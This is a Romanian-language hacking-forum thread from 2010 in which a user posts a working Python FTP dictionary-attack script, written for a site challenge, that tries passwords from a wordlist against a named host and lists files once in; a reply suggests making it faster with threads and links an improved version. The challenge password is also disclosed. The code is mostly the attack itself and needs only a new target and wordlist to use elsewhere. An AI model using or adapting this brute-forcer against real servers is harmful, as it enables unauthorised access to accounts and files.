Jump to content
Flubber

[Python] FTP Dictionary Attack script - Challenge response

Recommended Posts

Stiu ca este un pic cam tarziu, dar cand a facut Pyth0n3 challenge-ul in legatura cu server-ul care rula SSH (a.k.a. root), am observat ceva in legatura cu server-ul FTP. Totul este explicat in codul urmator in comment-uri.


#!/bin/env/python
# Coded by Flubber [2010] #
# Pentru challenge-ul propus de Pyth0n3 pe RSTCenter.com/forum #
# - am observat ca port-ul FTP-ului este deschis si daemon-ul care ruleaza este VSTPD ("21 tcp port open , service vstpd ") #
# am incercat o conexiune cu mai multe usere si conexiunea esua (imi era inchisa automat de catre serverul ftp) #
# din cauza ca user-ul nu era corect, din moment ce Pyth0n3 a spus ca username-ul este "user", odata ce am incercat #
# conexiunea cu user-ul respectiv mi-a cerut parola ftp-ul, tind sa cred ca parola pe ssh de la user-ul "user" este la fel #
# ca cea de la ftp. Am scris acest bruteforcer simplu si primitiv pentru a demonstra asta #
# Further notice [challenge-ul s-a incheiat, parola de la user era "geterror" -- tind sa cred ca aceasta nu era la fel
# ca cea a user-ului de pe ssh] #
# UPDATE: am primit un raspuns direct de la autorul challenge-ului, parola de la user-ul ssh era LA FEL ca cea de la #
# user-ul de pe FTP, banuiala a fost una buna #

print "\r\n[#] Coded by Flubber - 2010 - versiunea Python: 2.6.5\r\n"

print "[*] Cateva setari elementare.\r\n"
from ftplib import FTP



# Setam parametrii in variabile (cum ar fi: target-ul, port-ul, etc.)
victima = "server5.ftpaccess.cc"
port = 21
timeout = 30
conexiune = FTP()


status = ""
def conectare():
try:
done = conexiune.connect(victima, port, timeout)
except Exception, e:
print "[-] Conectare esuata, verifica adresa victimei."
status = False
else:
print "[+] Conectare cu succes, printez banner-ul (daca e vreunul):"
print "### INCEPUT " + "#" * 10 + "\r\n"
print done + "\r\n"
print "### SFARSIT " + "#" * 10 + "\r\n\n"
status = True

if status == True:
print "[*] Incepem atacul dictionar."
listaparolee = open("parole", "r")
listaparole = listaparolee.readlines()
listaparolee.close()
for linie in listaparole:
linie = linie.strip("\n")
print "[*] Incerc user-ul " + '"' + "user" + '"' + " si parola: " + '"' + str(linie) + '"' + "."
try:
conexiune.login("user", linie)
print "[+] Shiznotz! Am gasit ceva. Parola: " + '"' + linie + '"' + ".\r\n"
print "[+] Returnez lista cu fisiere din directorul curent (dir):"
conexiune.retrlines("list")
print "\r\n" * 2
print "[+] Directorul curent (pwd): "
print conexiune.pwd().strip("\n")
print "\r\n[+] Mesajul welcome:"
print conexiune.getwelcome().strip("\n")
conexiune.quit()
except Exception, e:
nuamers = 1
if nuamers == 1:
print "\r\n[*] Sfarsitul atacului."
else:
print "[-] Ceva a mers gresit. Hmm, oare ce?"

conectare()

Este primitiv codul si inca sunt varza*, orice critica este binevenita, orice greseala a codului, s.a.m.d. din care pot invata ceva.

Dictionarul folosit este aici. Bineinteles, nu a fost si cuvantul "geterror" in dictionar, ceea ce a facut, ca, atacul sa esueze, crezand ca banuiala mea este una proasta [change teh wordlist to a better one, IDIAT!].

* - deasemenea, m-am inspirat din scriptul lui gunslinger in legatura cu "try:" si "except Exception, e"

  • Upvote 1
Link to comment
Share on other sites

Bravo ... :) indiferent cat de bine sau prost faci ceva ideea e ca inveti mereu ceva nou si mai ales din greseli. Ca totul sa mearga mai repede in loc sa citesc si sa incarc in memorie toate liniile apoi sa le folosesc una cate una as fi pus un for care sa foloseasca direct obiectul returnat de open. In al doilea rand intr-un brute / dict trebuie sa fie cat mai putine instructiuni, mai ales ca print-urile incetinesc foarte mult. As evita cat mai mult functiile si metodele care folosesc "." cica si astea incetinesc. Si in cele din urma as fi pus bucatica de cod pentru atac intr-o clasa thread care sa fie apelata cu fiecare parola fara a mai astepta raspunsul, astfel atacul fiind unul simultan nu liniar si logic timpul de procesare scazand dramatic (conexiile simultane cu succes nu cred ca au treaba cu requesturile simultane pe post de incercari din limita unui ftp).

Oricum ... ce repede cresc unii :D.

Si varianta mea conform celor spuse de mai sus: http://cmin.pastebin.com/dBm4sP0v

Link to comment
Share on other sites

Multumesc foarte mult, am sa iau in considerare cele spuse, deasemenea sarut mainile pentru script. Foarte frumos stilul tau de a programa. Nu stiam in legatura cu print-urile ca, ingreuneaza; motivul pentru care nu l-am facut super mega adecvat a fost simplul fapt ca este scris special pentru acel challenge, nu este un bruteforcer maleabil, pentru toate domeniile. Oricum, am mai invatat ceva si iti multumesc mult.

Oricum ... ce repede cresc unii :D.

Datorita tie, python sensei. OSU!

Bow to the master

Sarut mainile si picioarele (de data asta, mwahaha) pentru toate indrumarile si rabdarea acordata, you.....just.....PWN sir!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...